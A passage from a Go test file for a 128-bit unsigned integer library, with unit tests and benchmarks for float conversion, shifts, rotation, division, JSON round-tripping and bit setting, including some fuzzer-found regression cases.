| {1.0, u64(1), true}, 321 | 322 | // {{{ Explore weird corner cases around uint64(float64(math.MaxUint64)) nonsense. 323 | // 1 greater than maxUint64 because maxUint64 is not representable in a float64 exactly: 324 | {maxUint64Float, u128s("18446744073709551616"), true}, 325 | 326 | // Largest whole number representable in a float64 without exceeding the size of a uint64: 327 | {maxRepresentableUint64Float, u128s("18446744073709549568"), true}, 328 | 329 | // Largest whole number representable in a float64 without exceeding the size of a U128: 330 | {maxRepresentableU128Float, u128s("340282366920938425684442744474606501888"), true}, 331 | 332 | // Not inRange because maxU128Float is not representable in a float64 exactly: 333 | {maxU128Float, MaxU128, false}, 334 | // }}} 335 | } { 336 | t.Run(fmt.Sprintf("%d/fromfloat64(%f)==%s", idx, tc.f, tc.out), func(t *testing.T) { 337 | tt := assert.WrapTB(t) 338 | 339 | rn, inRange := U128FromFloat64(tc.f) 340 | tt.MustEqual(tc.inRange, inRange) 341 | tt.MustEqual(tc.out, rn) 342 | 343 | diff := DifferenceU128(tc.out, rn) 344 | 345 | ibig, diffBig := tc.out.AsBigFloat(), diff.AsBigFloat() 346 | pct := new(big.Float) 347 | if diff != zeroU128 { 348 | pct.Quo(diffBig, ibig) 349 | } 350 | pct.Abs(pct) 351 | tt.MustAssert(pct.Cmp(floatDiffLimit) < 0, "%.20f -> %s: %.20f > %.20f", tc.f, tc.out, pct, floatDiffLimit) 352 | }) 353 | } 354 | } 355 | 356 | func TestU128FromI64(t *testing.T) { 357 | for idx, tc := range []struct { 358 | in int64 359 | out U128 360 | inRange bool 361 | }{ 362 | {0, zeroU128, true}, 363 | {-1, zeroU128, false}, 364 | {minInt64, zeroU128, false}, 365 | {maxInt64, u64(0x7fffffffffffffff), true}, 366 | } { 367 | t.Run(fmt.Sprintf("%d/fromint64(%d)==%s", idx, tc.in, tc.out), func(t *testing.T) { 368 | tt := assert.WrapTB(t) 369 | rn, inRange := U128FromI64(tc.in) 370 | tt.MustAssert(rn.Equal(tc.out)) 371 | tt.MustEqual(tc.inRange, inRange) 372 | }) 373 | } 374 | } 375 | 376 | func TestU128FromSize(t *testing.T) { 377 | tt := assert.WrapTB(t) 378 | assertInRange := func(expected U128) func(v U128, inRange bool) { 379 | return func(v U128, inRange bool) { 380 | tt.MustEqual(expected, v) 381 | tt.MustAssert(inRange) 382 | } 383 | } 384 | 385 | tt.MustEqual(U128From8(255), u128s("255")) 386 | tt.MustEqual(U128From16(65535), u128s("65535")) 387 | tt.MustEqual(U128From32(4294967295), u128s("4294967295")) 388 | 389 | assertInRange(u128s("12345"))(U128FromFloat32(12345)) 390 | assertInRange(u128s("12345"))(U128FromFloat32(12345.6)) 391 | assertInRange(u128s("12345"))(U128FromFloat64(12345)) 392 | assertInRange(u128s("12345"))(U128FromFloat64(12345.6)) 393 | } 394 | 395 | func TestU128Inc(t *testing.T) { 396 | for _, tc := range []struct { 397 | a, b U128 398 | }{ 399 | {u64(1), u64(2)}, 400 | {u64(10), u64(11)}, 401 | {u64(maxUint64), u128s("18446744073709551616")}, 402 | {u64(maxUint64), u64(maxUint64).Add(u64(1))}, 403 | {MaxU128, u64(0)}, 404 | } { 405 | t.Run(fmt.Sprintf("%s+1=%s", tc.a, tc.b), func(t *testing.T) { 406 | tt := assert.WrapTB(t) 407 | inc := tc.a.Inc() 408 | tt.MustAssert(tc.b.Equal(inc), "%s + 1 != %s, found %s", tc.a, tc.b, inc) 409 | }) 410 | } 411 | } 412 | 413 | func TestU128Lsh(t *testing.T) { 414 | for idx, tc := range []struct { 415 | u U128 416 | by uint 417 | r U128 418 | }{ 419 | {u: u64(2), by: 1, r: u64(4)}, 420 | {u: u64(1), by: 2, r: u64(4)}, 421 | {u: u128s("18446744073709551615"), by: 1, r: u128s("36893488147419103230")}, // (1<<64) - 1 422 | 423 | // These cases were found by the fuzzer: 424 | {u: u128s("5080864651895"), by: 57, r: u128s("732229764895815899943471677440")}, 425 | {u: u128s("63669103"), by: 85, r: u128s("2463079120908903847397520463364096")}, 426 | {u: u128s("0x1f1ecfd29cb51500c1a0699657"), by: 104, r: u128s("0x69965700000000000000000000000000")}, 427 | {u: u128s("0x4ff0d215cf8c26f26344"), by: 58, r: u128s("0xc348573e309bc98d1000000000000000")}, 428 | {u: u128s("0x6b5823decd7ef067f78e8cc3d8"), by: 74, r: u128s("0xc19fde3a330f60000000000000000000")}, 429 | {u: u128s("0x8b93924e1f7b6ac551d66f18ab520a2"), by: 50, r: u128s("0xdab154759bc62ad48288000000000000")}, 430 | {u: u128s("173760885"), by: 68, r: u128s("51285161209860430747989442560")}, 431 | {u: u128s("213"), by: 65, r: u128s("7858312975400268988416")}, 432 | {u: u128s("0x2203b9f3dbe0afa82d80d998641aa0"), by: 75, r: u128s("0x6c06ccc320d500000000000000000000")}, 433 | {u: u128s("40625"), by: 55, r: u128s("1463669878895411200000")}, 434 | } { 435 | t.Run(fmt.Sprintf("%d/%s<<%d=%s", idx, tc.u, tc.by, tc.r), func(t *testing.T) { 436 | tt := assert.WrapTB(t) 437 | 438 | ub := tc.u.AsBigInt() 439 | ub.Lsh(ub, tc.by).And(ub, maxBigU128) 440 | 441 | ru := tc.u.Lsh(tc.by) 442 | tt.MustEqual(tc.r.String(), ru.String(), "%s != %s; big: %s", tc.r, ru, ub) 443 | tt.MustEqual(ub.String(), ru.String()) 444 | }) 445 | } 446 | } 447 | 448 | func TestU128MarshalJSON(t *testing.T) { 449 | tt := assert.WrapTB(t) 450 | bts := make([]byte, 16) 451 | 452 | for i := 0; i < 5000; i++ { 453 | u := randU128(bts) 454 | 455 | bts, err := json.Marshal(u) 456 | tt.MustOK(err) 457 | 458 | var result U128 459 | tt.MustOK(json.Unmarshal(bts, &result)) 460 | tt.MustAssert(result.Equal(u)) 461 | } 462 | } 463 | 464 | func TestU128Mul(t *testing.T) { 465 | tt := assert.WrapTB(t) 466 | 467 | u := U128From64(maxUint64) 468 | v := u.Mul(U128From64(maxUint64)) 469 | 470 | var v1, v2 big.Int 471 | v1.SetUint64(maxUint64) 472 | v2.SetUint64(maxUint64) 473 | tt.MustEqual(v.String(), v1.Mul(&v1, &v2).String()) 474 | } 475 | 476 | func TestU128MustUint64(t *testing.T) { 477 | for _, tc := range []struct { 478 | a U128 479 | ok bool 480 | }{ 481 | {u64(0), true}, 482 | {u64(1), true}, 483 | {u64(maxInt64), true}, 484 | {u64(maxUint64), true}, 485 | {U128FromRaw(1, 0), false}, 486 | {MaxU128, false}, 487 | } { 488 | t.Run(fmt.Sprintf("(%s).64?==%v", tc.a, tc.ok), func(t *testing.T) { 489 | tt := assert.WrapTB(t) 490 | defer func() { 491 | tt.Helper() 492 | tt.MustAssert((recover() == nil) == tc.ok) 493 | }() 494 | 495 | tt.MustEqual(tc.a, U128From64(tc.a.MustUint64())) 496 | }) 497 | } 498 | } 499 | 500 | func TestU128Not(t *testing.T) { 501 | for idx, tc := range []struct { 502 | a, b U128 503 | }{ 504 | {u64(0), MaxU128}, 505 | {u64(1), u128s("340282366920938463463374607431768211454")}, 506 | {u64(2), u128s("340282366920938463463374607431768211453")}, 507 | {u64(maxUint64), u128s("340282366920938463444927863358058659840")}, 508 | } { 509 | t.Run(fmt.Sprintf("%d/%s=^%s", idx, tc.a, tc.b), func(t *testing.T) { 510 | tt := assert.WrapTB(t) 511 | out := tc.a.Not() 512 | tt.MustAssert(tc.b.Equal(out), "^%s != %s, found %s", tc.a, tc.b, out) 513 | 514 | back := out.Not() 515 | tt.MustAssert(tc.a.Equal(back), "^%s != %s, found %s", out, tc.a, back) 516 | }) 517 | } 518 | } 519 | 520 | func TestU128QuoRem(t *testing.T) { 521 | for idx, tc := range []struct { 522 | u, by, q, r U128 523 | }{ 524 | {u: u64(1), by: u64(2), q: u64(0), r: u64(1)}, 525 | {u: u64(10), by: u64(3), q: u64(3), r: u64(1)}, 526 | 527 | // Investigate possible div/0 where lo of divisor is 0: 528 | {u: U128{hi: 0, lo: 1}, by: U128{hi: 1, lo: 0}, q: u64(0), r: u64(1)}, 529 | 530 | // 128-bit 'cmp == 0' shortcut branch: 531 | {u128s("0x1234567890123456"), u128s("0x1234567890123456"), u64(1), u64(0)}, 532 | 533 | // 128-bit 'cmp < 0' shortcut branch: 534 | {u128s("0x123456789012345678901234"), u128s("0x222222229012345678901234"), u64(0), u128s("0x123456789012345678901234")}, 535 | 536 | // 128-bit 'cmp == 0' shortcut branch: 537 | {u128s("0x123456789012345678901234"), u128s("0x123456789012345678901234"), u64(1), u64(0)}, 538 | 539 | // These test cases were found by the fuzzer and exposed a bug in the 128-bit divisor 540 | // branch of divmod128by128: 541 | // 3289699161974853443944280720275488 / 9261249991223143249760: u128(48100516172305203) != big(355211139435) 542 | // 51044189592896282646990963682604803 / 15356086376658915618524: u128(16290274193854465) != big(3324036368438) 543 | // 555579170280843546177 / 21475569273528505412: u128(12) != big(25) 544 | } { 545 | t.Run(fmt.Sprintf("%d/%s÷%s=%s,%s", idx, tc.u, tc.by, tc.q, tc.r), func(t *testing.T) { 546 | tt := assert.WrapTB(t) 547 | q, r := tc.u.QuoRem(tc.by) 548 | tt.MustEqual(tc.q.String(), q.String()) 549 | tt.MustEqual(tc.r.String(), r.String()) 550 | 551 | uBig := tc.u.AsBigInt() 552 | byBig := tc.by.AsBigInt() 553 | 554 | qBig, rBig := new(big.Int).Set(uBig), new(big.Int).Set(uBig) 555 | qBig = qBig.Quo(qBig, byBig) 556 | rBig = rBig.Rem(rBig, byBig) 557 | 558 | tt.MustEqual(tc.q.String(), qBig.String()) 559 | tt.MustEqual(tc.r.String(), rBig.String()) 560 | }) 561 | } 562 | } 563 | 564 | func TestU128ReverseBytes(t *testing.T) { 565 | for _, tc := range []struct { 566 | u U128 567 | r U128 568 | }{ 569 | { 570 | u: u128s("0x_00_11_22_33_44_55_66_77_88_99_AA_BB_CC_DD_EE_FF"), 571 | r: u128s("0x_FF_EE_DD_CC_BB_AA_99_88_77_66_55_44_33_22_11_00")}, 572 | { 573 | u: u128s("0x_00_00_00_00_00_00_00_00_11_22_33_44_55_66_77_88"), 574 | r: u128s("0x_88_77_66_55_44_33_22_11_00_00_00_00_00_00_00_00")}, 575 | } { 576 | t.Run(fmt.Sprintf("revbytes-%s=%s", tc.u, tc.r), func(t *testing.T) { 577 | tt := assert.WrapTB(t) 578 | ru := tc.u.ReverseBytes() 579 | tt.MustEqual(tc.r.String(), ru.String(), "%s != %s", tc.r, ru) 580 | }) 581 | } 582 | } 583 | 584 | func TestU128Reverse(t *testing.T) { 585 | for _, tc := range []struct { 586 | u U128 587 | r U128 588 | }{ 589 | { 590 | u: u128s("0b_11111111_11111110_11111100_11111000_11110000_11100000_11000000_10000000_11111111_11111110_11111100_11111000_11110000_11100000_11000000_10000000"), 591 | /* */ r: u128s("0b_00000001_00000011_00000111_00001111_00011111_00111111_01111111_11111111_00000001_00000011_00000111_00001111_00011111_00111111_01111111_11111111")}, 592 | } { 593 | t.Run(fmt.Sprintf("revbytes-%s=%s", tc.u, tc.r), func(t *testing.T) { 594 | tt := assert.WrapTB(t) 595 | ru := tc.u.Reverse() 596 | tt.MustEqual(tc.r.String(), ru.String(), "%s != %s", tc.r, ru) 597 | }) 598 | } 599 | } 600 | 601 | func TestU128RotateLeft(t *testing.T) { 602 | for _, tc := range []struct { 603 | u U128 604 | by int 605 | r U128 606 | }{ 607 | {u: u64(1), by: 1, r: u64(2)}, 608 | {u: u64(1), by: 2, r: u64(4)}, 609 | {u: u128s("0x0000_0000_0000_0000_8000_0000_0000_0000"), by: 1, r: u128s("0x0000_0000_0000_0001_0000_0000_0000_0000")}, 610 | {u: u128s("0x8000_0000_0000_0000_0000_0000_0000_0000"), by: 1, r: u64(1)}, 611 | {u: u128s("0xF000_0000_0000_0000_0000_0000_0000_0000"), by: 4, r: u64(0xF)}, 612 | 613 | {by: 1, 614 | u: u128s("0b_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000001"), 615 | r: u128s("0b_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000010")}, 616 | {by: 1, 617 | u: u128s("0b_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_10000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000"), 618 | r: u128s("0b_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000001_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000")}, 619 | {by: 1, 620 | u: u128s("0b_10000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000"), 621 | r: u128s("0b_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000001")}, 622 | {by: 64, 623 | u: u128s("0b_10000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000"), 624 | r: u128s("0b_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_10000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000")}, 625 | {by: 127, 626 | u: u128s("0b_10000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000"), 627 | r: u128s("0b_01000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000")}, 628 | {by: -1, 629 | u: u128s("0b_10000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000"), 630 | r: u128s("0b_01000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000")}, 631 | } { 632 | t.Run(fmt.Sprintf("%s rotl %d=%s", tc.u, tc.by, tc.r), func(t *testing.T) { 633 | tt := assert.WrapTB(t) 634 | ru := tc.u.RotateLeft(tc.by) 635 | tt.MustEqual(tc.r.String(), ru.String(), "%s != %s", tc.r, ru) 636 | }) 637 | } 638 | } 639 | 640 | func TestU128Rsh(t *testing.T) { 641 | for _, tc := range []struct { 642 | u U128 643 | by uint 644 | r U128 645 | }{ 646 | {u: u64(2), by: 1, r: u64(1)}, 647 | {u: u64(1), by: 2, r: u64(0)}, 648 | {u: u128s("36893488147419103232"), by: 1, r: u128s("18446744073709551616")}, // (1<<65) - 1 649 | 650 | // These test cases were found by the fuzzer: 651 | {u: u128s("2465608830469196860151950841431"), by: 104, r: u64(0)}, 652 | {u: u128s("377509308958315595850564"), by: 58, r: u64(1309748)}, 653 | {u: u128s("8504691434450337657905929307096"), by: 74, r: u128s("450234615")}, 654 | {u: u128s("11595557904603123290159404941902684322"), by: 50, r: u128s("10298924295251697538375")}, 655 | {u: u128s("176613673099733424757078556036831904"), by: 75, r: u128s("4674925001596")}, 656 | {u: u128s("3731491383344351937489898072501894878"), by: 112, r: u64(718)}, 657 | } { 658 | t.Run(fmt.Sprintf("%s>>%d=%s", tc.u, tc.by, tc.r), func(t *testing.T) { 659 | tt := assert.WrapTB(t) 660 | 661 | ub := tc.u.AsBigInt() 662 | ub.Rsh(ub, tc.by).And(ub, maxBigU128) 663 | 664 | ru := tc.u.Rsh(tc.by) 665 | tt.MustEqual(tc.r.String(), ru.String(), "%s != %s; big: %s", tc.r, ru, ub) 666 | tt.MustEqual(ub.String(), ru.String()) 667 | }) 668 | } 669 | } 670 | 671 | func TestU128Scan(t *testing.T) { 672 | for idx, tc := range []struct { 673 | in string 674 | out U128 675 | ok bool 676 | }{ 677 | {"1", u64(1), true}, 678 | {"0xFF", zeroU128, false}, 679 | {"-1", zeroU128, false}, 680 | {"340282366920938463463374607431768211456", zeroU128, false}, 681 | } { 682 | t.Run(fmt.Sprintf("%d/%s==%d", idx, tc.in, tc.out), func(t *testing.T) { 683 | tt := assert.WrapTB(t) 684 | var result U128 685 | n, err := fmt.Sscan(tc.in, &result) 686 | tt.MustEqual(tc.ok, err == nil, "%v", err) 687 | if err == nil { 688 | tt.MustEqual(1, n) 689 | } else { 690 | tt.MustEqual(0, n) 691 | } 692 | tt.MustEqual(tc.out, result) 693 | }) 694 | } 695 | 696 | for idx, ws := range []string{" ", "\n", " ", " \t "} { 697 | t.Run(fmt.Sprintf("scan/3/%d", idx), func(t *testing.T) { 698 | tt := assert.WrapTB(t) 699 | var a, b, c U128 700 | n, err := fmt.Sscan(strings.Join([]string{"123", "456", "789"}, ws), &a, &b, &c) 701 | tt.MustEqual(3, n) 702 | tt.MustOK(err) 703 | tt.MustEqual("123", a.String()) 704 | tt.MustEqual("456", b.String()) 705 | tt.MustEqual("789", c.String()) 706 | }) 707 | } 708 | } 709 | 710 | func TestSetBit(t *testing.T) { 711 | for i := 0; i < 128; i++ { 712 | t.Run(fmt.Sprintf("setcheck/%d", i), func(t *testing.T) { 713 | tt := assert.WrapTB(t) 714 | var u U128 715 | tt.MustEqual(uint(0), u.Bit(i)) 716 | u = u.SetBit(i, 1) 717 | tt.MustEqual(uint(1), u.Bit(i)) 718 | u = u.SetBit(i, 0) 719 | tt.MustEqual(uint(0), u.Bit(i)) 720 | }) 721 | } 722 | 723 | for idx, tc := range []struct { 724 | in U128 725 | out U128 726 | i int 727 | b uint 728 | }{ 729 | {in: u64(0), out: u128s("0b 1"), i: 0, b: 1}, 730 | {in: u64(0), out: u128s("0b 10"), i: 1, b: 1}, 731 | {in: u64(0), out: u128s("0x 8000000000000000"), i: 63, b: 1}, 732 | {in: u64(0), out: u128s("0x 10000000000000000"), i: 64, b: 1}, 733 | {in: u64(0), out: u128s("0x 20000000000000000"), i: 65, b: 1}, 734 | } { 735 | t.Run(fmt.Sprintf("%d/%s/%d/%d", idx, tc.in, tc.i, tc.b), func(t *testing.T) { 736 | tt := assert.WrapTB(t) 737 | out := tc.in.SetBit(tc.i, tc.b) 738 | tt.MustEqual(tc.out, out) 739 | }) 740 | } 741 | 742 | for idx, tc := range []struct { 743 | i int 744 | b uint 745 | }{ 746 | {i: -1, b: 0}, 747 | {i: 128, b: 0}, 748 | {i: 0, b: 2}, 749 | } { 750 | t.Run(fmt.Sprintf("failures/%d/%d/%d", idx, tc.i, tc.b), func(t *testing.T) { 751 | defer func() { 752 | if v := recover(); v == nil { 753 | t.Fatal() 754 | } 755 | }() 756 | var u U128 757 | u.SetBit(tc.i, tc.b) 758 | }) 759 | } 760 | } 761 | 762 | func BenchmarkU128Add(b *testing.B) { 763 | for idx, tc := range []struct { 764 | a, b U128 765 | name string 766 | }{ 767 | {zeroU128, zeroU128, "0+0"}, 768 | {MaxU128, MaxU128, "max+max"}, 769 | {u128s("0x7FFFFFFFFFFFFFFF"), u128s("0x7FFFFFFFFFFFFFFF"), "lo-only"}, 770 | {u128s("0xFFFFFFFFFFFFFFFF"), u128s("0x7FFFFFFFFFFFFFFF"), "carry"}, 771 | } { 772 | b.Run(fmt.Sprintf("%d/%s", idx, tc.name), func(b *testing.B) { 773 | for i := 0; i < b.N; i++ { 774 | BenchU128Result = tc.a.Add(tc.b) 775 | } 776 | }) 777 | } 778 | } 779 | 780 | func BenchmarkU128Add64(b *testing.B) { 781 | for idx, tc := range []struct { 782 | a U128 783 | b uint64 784 | name string 785 | }{ 786 | {zeroU128, 0, "0+0"}, 787 | {MaxU128, maxUint64, "max+max"}, 788 | {u128s("0xFFFFFFFFFFFFFFFF"), 1, "carry"}, 789 | } { 790 | b.Run(fmt.Sprintf("%d/%s", idx, tc.name), func(b *testing.B) { 791 | for i := 0; i < b.N; i++ { 792 | BenchU128Result = tc.a.Add64(tc.b) 793 | } 794 | }) 795 | } 796 | } 797 | 798 | func BenchmarkU128AsBigFloat(b *testing.B) { 799 | n := u128s("36893488147419103230") 800 | for i := 0; i < b.N; i++ { 801 | BenchBigFloatResult = n.AsBigFloat() 802 | } 803 | } 804 | 805 | func BenchmarkU128AsBigInt(b *testing.B) { 806 | u := U128{lo: 0xFEDCBA9876543210, hi: 0xFEDCBA9876543210} 807 | BenchBigIntResult = new(big.Int) 808 | 809 | for i := uint(0); i <= 128; i += 32 { 810 | v := u.Rsh(128 - i) 811 | b.Run(fmt.Sprintf("%x,%x", v.hi, v.lo), func(b *testing.B) { 812 | for i := 0; i < b.N; i++ { 813 | BenchBigIntResult = v.AsBigInt() 814 | } 815 | }) 816 | } 817 | } 818 | 819 | func BenchmarkU128AsFloat(b *testing.B) { 820 | n := u128s("36893488147419103230") 821 | for i := 0; i < b.N; i++ { 822 | BenchFloatResult = n.AsFloat64() 823 | } 824 | } 825 | 826 | var benchU128CmpCases = []struct { 827 | a, b U128 828 | name string 829 | }{ 830 | {U128From64(maxUint64), U128From64(maxUint64), "equal64"}, 831 | {MaxU128, MaxU128, "equal128"}, 832 | {u128s("0xFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF"), u128s("0xEFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF"), "lesshi"}, 833 | {u128s("0xEFFFFFFFFFFFFFFF"), u128s("0xFFFFFFFFFFFFFFFF"), "lesslo"}, 834 | {u128s("0xFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF"), u128s("0xEFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF"), "greaterhi"}, 835 | {u128s("0xFFFFFFFFFFFFFFFF"), u128s("0xEFFFFFFFFFFFFFFF"), "greaterlo"}, 836 | } 837 | 838 | func BenchmarkU128Cmp(b *testing.B) { 839 | for _, tc := range benchU128CmpCases { 840 | b.Run(fmt.Sprintf("u128cmp/%s", tc.name), func(b *testing.B) { 841 | for i := 0; i < b.N; i++ { 842 | BenchIntResult = tc.a.Cmp(tc.b) 843 | } 844 | }) 845 | } 846 | } 847 | 848 | func BenchmarkU128FromBigInt(b *testing.B) { 849 | for _, bi := range []*big.Int{ 850 | bigs("0"), 851 | bigs("0xfedcba98"), 852 | bigs("0xfedcba9876543210"), 853 | bigs("0xfedcba9876543210fedcba98"), 854 | bigs("0xfedcba9876543210fedcba9876543210"), 855 | } { 856 | b.Run(fmt.Sprintf("%x", bi), func(b *testing.B) { 857 | for i := 0; i < b.N; i++ { 858 | BenchU128Result, _ = U128FromBigInt(bi) 859 | } 860 | }) 861 | } 862 | } 863 | 864 | func BenchmarkU128FromFloat(b *testing.B) { 865 | for _, pow := range []float64{1, 63, 64, 65, 127, 128} { 866 | b.Run(fmt.Sprintf("pow%d", int(pow)), func(b *testing.B) { 867 | f := math.Pow(2, pow) 868 | for i := 0; i < b.N; i++ { 869 | BenchU128Result, _ = U128FromFloat64(f) 870 | } 871 | }) 872 | } 873 | } 874 | 875 | func BenchmarkU128GreaterThan(b *testing.B) { 876 | for _, tc := range benchU128CmpCases { 877 | b.Run(fmt.Sprintf("u128gt/%s", tc.name), func(b *testing.B) { 878 | for i := 0; i < b.N; i++ { 879 | BenchBoolResult = tc.a.GreaterThan(tc.b) 880 | } 881 | }) 882 | } 883 | } 884 | 885 | func BenchmarkU128GreaterOrEqualTo(b *testing.B) { 886 | for _, tc := range benchU128CmpCases { 887 | b.Run(fmt.Sprintf("u128gte/%s", tc.name), func(b *testing.B) { 888 | for i := 0; i < b.N; i++ { 889 | BenchBoolResult = tc.a.GreaterOrEqualTo(tc.b) 890 | } 891 | }) 892 | } 893 | } 894 | 895 | func BenchmarkU128Inc(b *testing.B) { 896 | for idx, tc := range []struct { 897 | name string 898 | a U128 899 | }{ 900 | {"0", zeroU128}, 901 | {"max", MaxU128}, 902 | {"carry", u64(maxUint64)}, 903 | } { 904 | b.Run(fmt.Sprintf("%d/%s", idx, tc.name), func(b *testing.B) { 905 | for i := 0; i < b.N; i++ { 906 | BenchU128Result = tc.a.Inc() 907 | } 908 | }) 909 | } 910 | } 911 | 912 | func BenchmarkU128IntoBigInt(b *testing.B) { 913 | u := U128{lo: 0xFEDCBA9876543210, hi: 0xFEDCBA9876543210} 914 | BenchBigIntResult = new(big.Int) 915 | 916 | for i := uint(0); i <= 128; i += 32 { 917 | v := u.Rsh(128 - i) 918 | b.Run(fmt.Sprintf("%x,%x", v.hi, v.lo), func(b *testing.B) { 919 | for i := 0; i < b.N; i++ { 920 | v.IntoBigInt(BenchBigIntResult) 921 | } 922 | }) 923 | } 924 | } 925 | 926 | func BenchmarkU128LessThan(b *testing.B) { 927 | for _, tc := range benchU128CmpCases { 928 | b.Run(fmt.Sprintf("u128lt/%s", tc.name), func(b *testing.B) { 929 | for i := 0; i < b.N; i++ { 930 | BenchBoolResult = tc.a.LessThan(tc.b) 931 | } 932 | }) 933 | } 934 | } 935 | 936 | func BenchmarkU128Lsh(b *testing.B) { 937 | for _, tc := range []struct { 938 | in U128 939 | sh uint 940 | }{ 941 | {u64(maxUint64), 1}, 942 | {u64(maxUint64), 2}, 943 | {u64(maxUint64), 8}, 944 | {u64(maxUint64), 64}, 945 | {u64(maxUint64), 126}, 946 | {u64(maxUint64), 127}, 947 | {u64(maxUint64), 128}, 948 | {MaxU128, 1}, 949 | {MaxU128, 2}, 950 | {MaxU128, 8}, 951 | {MaxU128, 64}, 952 | {MaxU128, 126}, 953 | {MaxU128, 127}, 954 | {MaxU128, 128}, 955 | } { 956 | b.Run(fmt.Sprintf("%s>>%d", tc.in, tc.sh), func(b *testing.B) { 957 | for i := 0; i < b.N; i++ { 958 | BenchU128Result = tc.in.Lsh(tc.sh) 959 | } 960 | }) 961 | } 962 | } 963 | 964 | func BenchmarkU128Mul(b *testing.B) { 965 | u := U128From64(maxUint64) 966 | for i := 0; i < b.N; i++ { 967 | BenchU128Result = u.Mul(u) 968 | } 969 | } 970 | 971 | func BenchmarkU128Mul64(b *testing.B) { 972 | u := U128From64(maxUint64) 973 | lim := uint64(b.N) 974 | for i := uint64(0); i < lim; i++ { 975 | BenchU128Result = u.Mul64(i) 976 | } 977 | } 978 | 979 | var benchQuoCases = []struct { 980 | name string 981 | dividend U128 982 | divisor U128 983 | }{ 984 | // 128-bit divide by 1 branch: 985 | {"128bit/1", MaxU128, u64(1)}, 986 | 987 | // 128-bit divide by power of 2 branch: 988 | {"128bit/pow2", MaxU128, u64(2)}, 989 | 990 | // 64-bit divide by 1 branch: 991 | {"64-bit/1", u64(maxUint64), u64(1)}, 992 | 993 | // 128-bit divisor lz+tz > threshold branch: 994 | {"128bit/lz+tz>thresh", u128s("0x123456789012345678901234567890"), u128s("0xFF0000000000000000000")}, 995 | 996 | // 128-bit divisor lz+tz <= threshold branch: 997 | {"128bit/lz+tz<=thresh", u128s("0x12345678901234567890123456789012"), u128s("0x10000000000000000000000000000001")}, 998 | 999 | // 128-bit 'cmp == 0' shortcut branch: 1000 | {"128bit/samesies", u128s("0x1234567890123456"), u128s("0x1234567890123456")}, 1001 | } 1002 | 1003 | func BenchmarkU128Quo(b *testing.B) { 1004 | for idx, bc := range benchQuoCases { 1005 | b.Run(fmt.Sprintf("%d/%s", idx, bc.name), func(b *testing.B) { 1006 | for i := 0; i < b.N; i++ { 1007 | BenchU128Result = bc.dividend.Quo(bc.divisor) 1008 | } 1009 | }) 1010 | } 1011 | } 1012 | 1013 | func BenchmarkU128QuoRem(b *testing.B) { 1014 | for idx, bc := range benchQuoCases { 1015 | b.Run(fmt.Sprintf("%d/%s", idx, bc.name), func(b *testing.B) { 1016 | for i := 0; i < b.N; i++ { 1017 | BenchU128Result, _ = bc.dividend.QuoRem(bc.divisor) 1018 | } 1019 | }) 1020 | } 1021 | } 1022 | 1023 | func BenchmarkU128QuoRemTZ(b *testing.B) { 1024 | type tc struct { 1025 | zeros int 1026 | useRem int 1027 | da, db U128 1028 | } 1029 | var cases []tc 1030 | 1031 | // If there's a big jump in speed from one of these cases to the next, it 1032 | // could be indicative that the algorithm selection spill point 1033 | // (divAlgoLeading0Spill) needs to change. 1034 | // 1035 | // This could probably be automated a little better, and the result is also 1036 | // likely platform and possibly CPU specific. 1037 | for zeros := 0; zeros < 31; zeros++ { 1038 | for useRem := 0; useRem < 2; useRem++ { 1039 | bs := "0b" 1040 | for j := 0; j < 128; j++ { 1041 | if j >= zeros { 1042 | bs += "1" 1043 | } else { 1044 | bs += "0" 1045 | } 1046 | } 1047 | 1048 | da := u128s("0x98765432109876543210987654321098") 1049 | db := u128s(bs) 1050 | cases = append(cases, tc{ 1051 | zeros: zeros, 1052 | useRem: useRem, 1053 | da: da, 1054 | db: db, 1055 | }) 1056 | } 1057 | } 1058 | 1059 | for _, tc := range cases { 1060 | b.Run(fmt.Sprintf("z=%d/rem=%v", tc.zeros, tc.useRem == 1), func(b *testing.B) { 1061 | for i := 0; i < b.N; i++ { 1062 | if tc.useRem == 1 { 1063 | BenchU128Result, _ = tc.da.QuoRem(tc.db) 1064 | } else { 1065 | BenchU128Result = tc.da.Quo(tc.db) 1066 | } 1067 | } 1068 | }) 1069 | } 1070 | } 1071 | 1072 | func BenchmarkU128QuoRem64(b *testing.B) { 1073 | // FIXME: benchmark numbers of various sizes 1074 | u, v := u64(1234), uint64(56) 1075 | for i := 0; i < b.N; i++ { 1076 | BenchU128Result, _ = u.QuoRem64(v) 1077 | } 1078 | } 1079 | 1080 | func BenchmarkU128QuoRem64TZ(b *testing.B) { 1081 | type tc struct { 1082 | zeros int 1083 | useRem int 1084 | da U128 1085 | db uint64 1086 | } 1087 | var cases []tc 1088 | 1089 | for zeros := 0; zeros < 31; zeros++ { 1090 | for useRem := 0; useRem < 2; useRem++ { 1091 | bs := "0b" 1092 | for j := 0; j < 64; j++ { 1093 | if j >= zeros { 1094 | bs += "1" 1095 | } else { 1096 | bs += "0" 1097 | } 1098 | } 1099 | 1100 | da := u128s("0x98765432109876543210987654321098") 1101 | db128 := u128s(bs) 1102 | if !db128.IsUint64() { 1103 | panic("oh dear!") 